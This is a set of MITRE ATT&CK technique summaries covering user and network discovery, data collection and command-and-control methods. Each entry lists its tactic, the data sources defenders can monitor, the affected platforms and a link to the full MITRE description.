Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre